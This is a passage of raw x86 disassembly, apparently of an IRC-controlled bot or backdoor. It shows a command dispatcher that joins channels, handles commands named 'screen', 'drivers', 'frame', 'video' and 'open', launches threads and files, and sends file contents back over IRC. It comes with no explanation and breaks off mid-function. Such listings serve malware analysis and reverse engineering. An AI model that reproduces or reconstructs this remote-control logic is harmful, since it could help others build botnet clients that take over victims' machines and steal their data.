		add	esp, 1Ch
		mov	[ebp+var_2094],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2218]
		push	ebx
		push	eax
		push	offset byte_4143CB
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_2094]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40884B


loc_408839:				; CODE XREF: sub_401ACD+6D7Cj
		cmp	[ebp+var_2088],	ebx
		jnz	short loc_408866
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_408839
; ---------------------------------------------------------------------------


loc_40884B:				; CODE XREF: sub_401ACD+6D6Aj
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_429E28


loc_408857:				; CODE XREF: sub_401ACD+6E89j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408866:				; CODE XREF: sub_401ACD+6D72j
					; sub_401ACD+6E6Dj
		cmp	[ebp+var_8], ebx
		jnz	loc_409630
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_409628
; ---------------------------------------------------------------------------


loc_408886:				; CODE XREF: sub_401ACD+4A13j
					; sub_401ACD+4A2Aj
		push	7Fh
		lea	eax, [ebp+var_23A8]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_2328]
		push	edi
		push	eax
		call	sub_41B5F0
		push	7Fh
		lea	eax, [ebp+var_22A8]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 24h
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_2224],	eax
		mov	eax, [ebp+var_8]
		push	edi
		push	[ebp+arg_10]
		mov	[ebp+var_2220],	eax
		lea	eax, [ebp+var_2C4]
		mov	[ebp+var_23AC],	esi
		push	offset dword_429DFC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	11h
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_2228],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_23AC]
		push	ebx
		push	eax
		push	offset byte_413B77
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_2228]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40894A


loc_408934:				; CODE XREF: sub_401ACD+6E7Bj
		cmp	[ebp+var_221C],	ebx
		jnz	loc_408866
		push	32h
		call	near ptr 26705B3h
		nop
		jmp	short loc_408934
; ---------------------------------------------------------------------------


loc_40894A:				; CODE XREF: sub_401ACD+6E65j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset dword_429DC0
		jmp	loc_408857
; ---------------------------------------------------------------------------


loc_40895B:				; CODE XREF: sub_401ACD+49E5j
					; sub_401ACD+49FCj
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429DB8
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 10h


loc_408978:				; CODE XREF: sub_401ACD+6F16j
		test	eax, eax
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854


loc_408994:				; CODE XREF: sub_401ACD+7A55j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_4089BF:				; CODE XREF: sub_401ACD+49B7j
					; sub_401ACD+49CEj
		push	[ebp+esi+var_84]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	offset dword_429DA4
		push	eax
		call	sub_41B886
		push	[ebp+arg_10]
		call	sub_41B779
		add	esp, 14h
		jmp	short loc_408978
; ---------------------------------------------------------------------------


loc_4089E5:				; CODE XREF: sub_401ACD+4989j
					; sub_401ACD+49A0j
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		add	esp, 10h
		test	eax, eax
		jle	loc_409854
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	esi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset dword_429D88


loc_408A4B:				; CODE XREF: sub_401ACD+7009j
					; sub_401ACD+7078j ...
		call	sub_415220
		jmp	loc_404933
; ---------------------------------------------------------------------------


loc_408A55:				; CODE XREF: sub_401ACD+495Bj
					; sub_401ACD+4972j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408A84
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429D80
		push	eax
		call	sub_41B886
		add	esp, 0Ch


loc_408A84:				; CODE XREF: sub_401ACD+6FA0j
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		lea	eax, [ebp+var_2C4]
		push	eax
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D64
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408ADB:				; CODE XREF: sub_401ACD+492Dj
					; sub_401ACD+4944j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		mov	edi, [ebp+arg_10]
		push	edi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	edi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	esi
		push	offset dword_429DB0
		push	edi
		call	sub_41B779
		imul	eax, 234h
		pop	ecx
		push	dword_43DEBC[eax]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	edi
		push	offset dword_429D48
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408B4A:				; CODE XREF: sub_401ACD+48FFj
					; sub_401ACD+4916j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	esi
		push	offset aModeS	; "MODE	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_408B86:				; CODE XREF: sub_401ACD+48D1j
					; sub_401ACD+48E8j
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_401E94
		push	edi
		push	offset dword_429D14
		push	[ebp+arg_4]
		call	sub_409A2C
		push	[ebp+arg_10]
		call	sub_41B779
		imul	eax, 3E8h
		add	esp, 10h
		push	eax
		nop
		call	near ptr 26705B3h
		push	[ebp+esi+var_84]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		push	offset dword_429D00
		call	sub_4151AC
		jmp	loc_40351F
; ---------------------------------------------------------------------------


loc_408BEA:				; CODE XREF: sub_401ACD+48A3j
					; sub_401ACD+48BAj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_42A434
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 20h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CE4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408C57:				; CODE XREF: sub_401ACD+4875j
					; sub_401ACD+488Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		call	sub_41AFE0
		push	[ebp+arg_8]
		mov	esi, eax
		call	sub_41AFE0
		add	eax, [ebp+var_C]
		push	edi
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41B900
		mov	esi, eax
		add	esp, 10h
		cmp	esi, ebx
		jz	loc_409854
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429CC4
		jmp	loc_408A4B
; ---------------------------------------------------------------------------


loc_408CAC:				; CODE XREF: sub_401ACD+4847j
					; sub_401ACD+485Ej
		cmp	[ebp+var_C], ebx
		jz	loc_401E94
		push	edi
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_401E94
		push	eax
		push	[ebp+arg_10]
		call	sub_4150B4
		pop	ecx
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_429CA4


loc_408CDB:				; CODE XREF: sub_401ACD+5852j
					; sub_401ACD+7B2Aj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40960F
; ---------------------------------------------------------------------------


loc_408CEF:				; CODE XREF: sub_401ACD+4819j
					; sub_401ACD+4830j
		push	edi
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_4184E1
		jmp	loc_4040FC
; ---------------------------------------------------------------------------


loc_408D09:				; CODE XREF: sub_401ACD+47DBj
					; sub_401ACD+47F0j
		push	[ebp+arg_10]
		push	[ebp+arg_1C]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_409854
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jz	loc_408DB1
		push	esi
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	short loc_408D99
		push	esi
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_88]
		push	[ebp+var_8C]
		push	[ebp+var_90]
		push	offset dword_429EF8
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	1FFh
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		add	esp, 24h
		lea	eax, [ebp+var_2C4]
		push	esi
		push	[ebp+arg_10]
		push	offset unk_429C7C
		push	eax
		call	sub_41B886
		add	esp, 10h
		inc	[ebp+arg_24]
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408D99:				; CODE XREF: sub_401ACD+726Fj
		lea	eax, [ebp+var_2C4]
		push	offset unk_429C4C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DB1:				; CODE XREF: sub_401ACD+725Aj
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	[ebp+arg_1C]
		push	eax
		call	sub_41ACF6
		add	esp, 0Ch
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		lea	eax, [ebp+var_2C4]
		push	[ebp+arg_10]
		push	offset dword_429C30
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_408DFD:				; CODE XREF: sub_401ACD+47B1j
					; sub_401ACD+47C6j
		push	offset aScreen	; "screen"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408E58
		mov	edi, [ebp+esi+var_88]
		cmp	edi, ebx
		jz	short loc_408E45
		push	edi
		call	sub_4153BC
		cmp	eax, 1
		pop	ecx
		jnz	short loc_408E3E
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset unk_429BFC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408E58
; ---------------------------------------------------------------------------


loc_408E3E:				; CODE XREF: sub_401ACD+7358j
		push	offset unk_429BCC
		jmp	short loc_408E4A
; ---------------------------------------------------------------------------


loc_408E45:				; CODE XREF: sub_401ACD+734Cj
		push	offset unk_429B90


loc_408E4A:				; CODE XREF: sub_401ACD+7376j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408E58:				; CODE XREF: sub_401ACD+7341j
					; sub_401ACD+736Fj
		push	offset aDrivers	; "drivers"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_408EE5
		xor	edi, edi


loc_408E6D:				; CODE XREF: sub_401ACD+7403j
		lea	eax, [ebp+var_53F8]
		push	1FFh
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	0FFh
		push	eax
		push	edi
		call	dword_4CAFA4
		test	eax, eax
		jz	short loc_408ECC
		lea	eax, [ebp+var_53F8]
		push	eax
		lea	eax, [ebp+var_4EF0]
		push	eax
		push	edi
		lea	eax, [ebp+var_5D88]
		push	offset unk_429B60
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_5D88]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 28h


loc_408ECC:				; CODE XREF: sub_401ACD+73C1j
		inc	edi
		cmp	edi, 0Ah
		jl	short loc_408E6D
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B38
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408EE5:				; CODE XREF: sub_401ACD+739Cj
		push	offset aFrame	; "frame"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408F86
		cmp	[ebp+esi+var_88], ebx
		jz	short loc_408F73
		cmp	[ebp+esi+var_84], ebx
		jz	short loc_408F73
		mov	edi, [ebp+esi+var_80]
		cmp	edi, ebx
		jz	short loc_408F73
		mov	eax, [ebp+esi+var_7C]
		cmp	eax, ebx
		jz	short loc_408F73
		push	eax
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_84]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+esi+var_88]
		call	sub_4155F7
		add	esp, 10h
		test	eax, eax
		jnz	short loc_408F6C
		push	[ebp+esi+var_88]
		lea	eax, [ebp+var_2C4]
		push	offset unk_429B04
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	short loc_408F86
; ---------------------------------------------------------------------------


loc_408F6C:				; CODE XREF: sub_401ACD+7480j
		push	offset unk_429AD0
		jmp	short loc_408F78
; ---------------------------------------------------------------------------


loc_408F73:				; CODE XREF: sub_401ACD+7436j
					; sub_401ACD+743Fj ...
		push	offset unk_429A98


loc_408F78:				; CODE XREF: sub_401ACD+74A4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_408F86:				; CODE XREF: sub_401ACD+7429j
					; sub_401ACD+749Dj
		push	offset aVideo	; "video"
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_408759
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_1C], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_40901E
		mov	eax, [ebp+esi+var_80]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	short loc_40901E
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		jz	short loc_40901E
		mov	esi, [ebp+esi+var_78]
		cmp	esi, ebx
		jz	short loc_40901E
		push	esi
		call	sub_41B779
		pop	ecx
		push	eax
		push	edi
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_18]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_0]
		call	sub_41B779
		pop	ecx
		push	eax
		push	[ebp+arg_1C]
		call	sub_4157F0
		add	esp, 14h
		test	eax, eax
		jnz	short loc_409014
		push	[ebp+arg_1C]
		push	offset unk_429A64
		jmp	loc_40874A
; ---------------------------------------------------------------------------


loc_409014:				; CODE XREF: sub_401ACD+7538j
		push	offset unk_429A24
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_40901E:				; CODE XREF: sub_401ACD+74DCj
					; sub_401ACD+74EAj ...
		push	offset unk_4299E4
		jmp	loc_4090E2
; ---------------------------------------------------------------------------


loc_409028:				; CODE XREF: sub_401ACD+4041j
					; sub_401ACD+4056j
		push	offset aR	; "r"
		push	[ebp+arg_10]
		call	sub_41B4C2
		mov	edi, eax
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		jz	short loc_409098
		mov	esi, 200h
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch


loc_409053:				; CODE XREF: sub_401ACD+75B5j
		test	eax, eax
		jz	short loc_409084
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		push	edi
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		call	sub_41BB4F
		add	esp, 20h
		jmp	short loc_409053
; ---------------------------------------------------------------------------


loc_409084:				; CODE XREF: sub_401ACD+7588j
		push	edi
		call	sub_41B05B
		pop	ecx
		push	[ebp+arg_10]
		push	offset unk_4299C0
		jmp	loc_409226
; ---------------------------------------------------------------------------


loc_409098:				; CODE XREF: sub_401ACD+756Ej
		push	[ebp+arg_10]
		push	offset unk_42999C
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4090A5:				; CODE XREF: sub_401ACD+4017j
					; sub_401ACD+402Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409854
		push	offset asc_429998 ; "\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_419A50
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4090F5
		push	offset unk_42996C


loc_4090E2:				; CODE XREF: sub_401ACD+754Cj
					; sub_401ACD+7556j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_408759
; ---------------------------------------------------------------------------


loc_4090F5:				; CODE XREF: sub_401ACD+760Ej
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset dword_429954
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_40877A
; ---------------------------------------------------------------------------


loc_40910F:				; CODE XREF: sub_401ACD+3FEDj
					; sub_401ACD+4002j
		cmp	[ebp+var_C], ebx
		jz	loc_409854
		push	[ebp+arg_10]
		push	[ebp+var_C]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	loc_409854
		push	eax
		call	sub_418211
		test	eax, eax
		pop	ecx
		jnz	short loc_40913F
		push	offset unk_429934
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_40913F:				; CODE XREF: sub_401ACD+7669j
		push	offset dword_429918
		jmp	short loc_4090E2
; ---------------------------------------------------------------------------


loc_409146:				; CODE XREF: sub_401ACD+3FC3j
					; sub_401ACD+3FD8j
		push	7Fh
		lea	eax, [ebp+var_2080]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		mov	esi, [ebp+esi+var_88]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_409177
		push	7Fh
		lea	eax, [ebp+var_2000]
		push	esi
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_409177:				; CODE XREF: sub_401ACD+7696j
		push	7Fh
		lea	eax, [ebp+var_1F80]
		push	[ebp+var_88]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_2084],	eax
		mov	eax, [ebp+var_8]
		push	[ebp+arg_10]
		mov	[ebp+var_1EFC],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1EF8],	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_429900
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ch
		push	eax
		call	sub_40B0F6
		add	esp, 18h
		mov	[ebp+var_1F00],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2084]
		push	ebx
		push	eax
		push	offset sub_41ADB5
		push	ebx
		push	ebx
		call	near ptr 2670659h
		nop
		mov	ecx, [ebp+var_1F00]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	short loc_40921A


loc_409204:				; CODE XREF: sub_401ACD+774Bj
		cmp	[ebp+var_1EF4],	ebx
		jnz	loc_406CFF
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_409204
; ---------------------------------------------------------------------------


loc_40921A:				; CODE XREF: sub_401ACD+7735j
		nop
		call	near ptr 2680000h
		push	eax
		push	offset unk_4298C0


loc_409226:				; CODE XREF: sub_401ACD+29CEj
					; sub_401ACD+75C6j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_406CFF
; ---------------------------------------------------------------------------


loc_40923A:				; CODE XREF: sub_401ACD+3F99j
					; sub_401ACD+3FAEj
		push	ebx
		push	[ebp+var_88]
		push	[ebp+arg_4]
		push	[ebp+arg_10]
		call	sub_40F96A
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset dword_4298A8
		jmp	loc_40984D
; ---------------------------------------------------------------------------


loc_40925C:				; CODE XREF: sub_401ACD+3F6Fj
					; sub_401ACD+3F84j
		push	14h
		lea	eax, [ebp+var_1D48]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1D34]
		push	[ebp+arg_10]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_1D50],	eax
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_1C30]
		push	80h
		push	eax
		call	sub_41B980
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1BA8],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1BA4],	eax
		lea	eax, [ebp+var_1C30]
		push	eax
		lea	eax, [ebp+var_1D34]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_429884
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_1BAC],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1D50]
		push	ebx
		push	eax
		push	offset loc_415E1A
		push	ebx
		push	ebx
		nop
		call	near ptr 2670659h
		mov	ecx, [ebp+var_1BAC]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_409325:				; CODE XREF: sub_401ACD+786Cj
		cmp	[ebp+var_1BA0],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26705B3h
		jmp	short loc_409325
; ---------------------------------------------------------------------------


loc_40933B:				; CODE XREF: sub_401ACD+3F45j
					; sub_401ACD+3F5Aj
		push	[ebp+arg_10]
		nop
		call	near ptr 2670881h
		test	eax, eax
		jz	short loc_409366
		push	[ebp+arg_10]
		lea	eax, [ebp+var_2C4]
		push	offset dword_429868
		push	200h
		push	eax
		call	sub_41B980
		jmp	loc_409444
; ---------------------------------------------------------------------------


loc_409366:				; CODE XREF: sub_401ACD+7879j
		push	offset dword_42A070
		call	sub_41814C
		pop	ecx
		push	eax
		jmp	loc_403F47
; ---------------------------------------------------------------------------


loc_409377:				; CODE XREF: sub_401ACD+3F1Bj
					; sub_401ACD+3F30j
		push	[ebp+arg_10]
		call	sub_41B779
		push	eax
		call	sub_4199C9
		pop	ecx
		pop	ecx
		push	1
		pop	esi
		push	[ebp+arg_10]
		cmp	eax, esi
		jnz	short loc_409398
		push	offset unk_429844
		jmp	short loc_40939D
; ---------------------------------------------------------------------------


loc_409398:				; CODE XREF: sub_401ACD+78C2j
		push	offset unk_429814


loc_40939D:				; CODE XREF: sub_401ACD+78C9j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	loc_406D02
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_406D02
; ---------------------------------------------------------------------------


loc_4093D6:				; CODE XREF: sub_401ACD+3EF1j
					; sub_401ACD+3F06j
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	[ebp+var_4]
		push	ebx
		push	[ebp+arg_4]
		call	sub_4196BC
		add	esp, 18h
		cmp	eax, 1
		push	[ebp+arg_10]
		jnz	short loc_4093FC
		push	offset unk_4297F4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4093FC:				; CODE XREF: sub_401ACD+7923j
		push	offset unk_4297C4
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_409406:				; CODE XREF: sub_401ACD+3EC7j
					; sub_401ACD+3EDCj
		mov	esi, [ebp+arg_10]
		push	esi
		call	dword_4CAFB4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_2D8], eax
		jz	short loc_40944C
		push	2
		lea	eax, [ebp+var_2D8]
		push	4
		push	eax
		call	dword_4CAF2C
		cmp	eax, ebx
		jz	short loc_409467
		push	dword ptr [eax]


loc_409432:				; CODE XREF: sub_401ACD+7998j
		push	esi
		lea	eax, [ebp+var_2C4]
		push	offset unk_4297A4
		push	eax
		call	sub_41B886


loc_409444:				; CODE XREF: sub_401ACD+7894j
		add	esp, 10h
		jmp	loc_406CDE
; ---------------------------------------------------------------------------


loc_40944C:				; CODE XREF: sub_401ACD+794Cj
		push	esi
		call	dword_4CAFF8
		cmp	eax, ebx
		jz	short loc_409467
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		push	dword ptr [eax]
		call	dword_4CB000
		push	eax
		jmp	short loc_409432
; ---------------------------------------------------------------------------


loc_409467:				; CODE XREF: sub_401ACD+7961j
					; sub_401ACD+7988j
		push	offset unk_42977C
		jmp	loc_4085D5
; ---------------------------------------------------------------------------


loc_409471:				; CODE XREF: sub_401ACD+3E9Dj
					; sub_401ACD+3EB2j
		push	7Fh
		push	[ebp+arg_10]
		push	[ebp+arg_14]
		call	sub_41B5F0
		add	esp, 0Ch
		push	[ebp+arg_10]
		push	offset unk_429754
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_40948E:				; CODE XREF: sub_401ACD+3E73j
					; sub_401ACD+3E88j
		push	5
		push	ebx
		push	ebx
		push	[ebp+arg_10]
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CAEE0
		push	[ebp+arg_10]
		test	eax, eax
		jz	short loc_4094B2
		push	offset unk_429734
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094B2:				; CODE XREF: sub_401ACD+79D9j
		push	offset unk_429710
		jmp	loc_406CCF
; ---------------------------------------------------------------------------


loc_4094BC:				; CODE XREF: sub_401ACD+3E49j
					; sub_401ACD+3E5Ej
		mov	eax, [ebp+arg_10]
		mov	cl, [eax]
		mov	byte_429094, cl
		movsx	eax, byte ptr [eax]
		push	eax
		push	offset unk_4296E8
		jmp	loc_4049EB
; ---------------------------------------------------------------------------


loc_4094D5:				; CODE XREF: sub_401ACD+3E1Fj
					; sub_401ACD+3E34j
		push	[ebp+arg_10]
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_409854
		push	[ebp+arg_10]
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_409854
		push	ebx
		push	ebx
		lea	eax, [ebp+var_A0]
		push	2
		push	eax
		call	sub_40B08D
		add	esp, 10h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset dword_42B45C
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		jmp	loc_408994
; ---------------------------------------------------------------------------


loc_409527:				; CODE XREF: sub_401ACD+3DF5j
					; sub_401ACD+3E0Aj
		mov	esi, [ebp+arg_10]
		push	esi
		call	sub_41B779
		test	eax, eax
		pop	ecx
		jle	loc_401E94
		push	esi
		call	sub_41B779
		cmp	eax, 400h
		pop	ecx
		jge	loc_401E94
		push	offset aQuitLater ; "QUIT :later\r\n"
